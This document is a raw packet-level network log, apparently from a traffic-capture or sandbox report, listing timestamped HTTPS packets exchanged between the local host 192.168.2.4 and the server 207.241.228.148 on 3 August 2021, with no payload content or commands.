Aug 3, 2021 20:39:41.928819895 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928821087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928858042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928868055 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928877115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928894997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928901911 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928920031 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928945065 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.928981066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.928998947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929014921 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929024935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929033995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929050922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929063082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929066896 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929075956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929090023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929106951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929116964 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929125071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929151058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929186106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929209948 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929214954 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929240942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929259062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929274082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929294109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929306984 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929311991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929330111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929331064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929348946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929366112 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929368973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929383039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929399967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929430008 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929455042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929471016 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929488897 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929506063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929539919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:41.929570913 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:41.929603100 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.107450008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107489109 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107508898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107522011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107533932 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107549906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107567072 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107584000 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107599974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107618093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107635021 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107655048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107671976 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107687950 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107705116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107721090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107737064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107752085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107763052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107778072 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.107780933 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107799053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107816935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107835054 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107851028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107870102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107873917 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.107888937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107906103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107923985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107939959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.107960939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108015060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108134985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108155012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108175039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108194113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108211040 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108217955 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108227968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108244896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108262062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108279943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108283043 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108298063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108319044 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108336926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108354092 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108355045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108370066 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108416080 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108467102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108475924 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108485937 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108505964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108524084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108526945 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108542919 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108561039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108577967 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108594894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108613014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108629942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108638048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108649969 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108669043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108685970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108702898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108719110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108735085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108752966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108767033 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108769894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108792067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108809948 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108827114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108844042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108863115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108879089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108896017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108906031 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.108912945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108933926 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108952045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108969927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108987093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.108987093 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109004974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109021902 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109045029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109065056 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109085083 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109101057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109112978 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109118938 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109137058 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109153032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109169006 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109175920 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109186888 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109208107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109226942 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109242916 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109250069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109260082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109277010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109294891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109323025 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109340906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.109365940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109453917 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.109715939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.287981987 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288047075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288086891 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288126945 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288165092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288217068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288244009 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288269043 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288278103 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288284063 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288319111 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288371086 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288427114 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288433075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288477898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288487911 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288518906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288552999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288583994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288599968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288635969 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288666964 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288686991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288726091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288755894 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288769960 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288806915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288850069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288856983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288889885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288922071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.288937092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.288973093 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289004087 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289024115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289062977 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289087057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289108992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289148092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289166927 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289196014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289247036 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289283991 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289299965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289352894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289367914 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289411068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289453983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289488077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289505005 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289515972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289545059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289581060 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289593935 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289617062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289650917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289678097 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289684057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289685965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289721012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289747000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289763927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289803028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289827108 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289838076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289875984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289911032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289911985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.289944887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289979935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.289988041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290014982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290039062 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290059090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290112019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290129900 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290150881 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290185928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290208101 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290220022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290254116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290288925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290304899 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290323019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290359020 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290381908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290435076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290457010 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290488005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290525913 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290570974 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290575981 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290616035 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290633917 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290652037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290699959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290716887 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290749073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290786982 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290818930 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290822029 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290858030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290885925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290926933 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.290930986 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290970087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.290976048 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291004896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291035891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291042089 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291095018 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291114092 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291168928 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291203022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291237116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291239977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291271925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291328907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291337967 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291369915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291404009 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291418076 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291438103 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291472912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291507959 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291543961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291546106 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291579008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291623116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291629076 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291635036 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291661978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291687965 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291697025 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291744947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291785955 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291832924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291851044 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291862011 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.291904926 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.291944027 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.471786022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.471839905 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.471879005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.471918106 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.471956015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.471956015 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.471996069 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472002983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472045898 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472064018 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472084999 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472124100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472135067 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472167015 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472204924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472224951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472244024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472282887 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472306013 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472337961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472381115 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472388983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472419024 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472457886 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472474098 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472496033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472532034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472548962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472572088 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472609997 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472619057 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:42.472656965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:42.472701073 CEST	443	49756	207.241.228.148	192.168.2.4
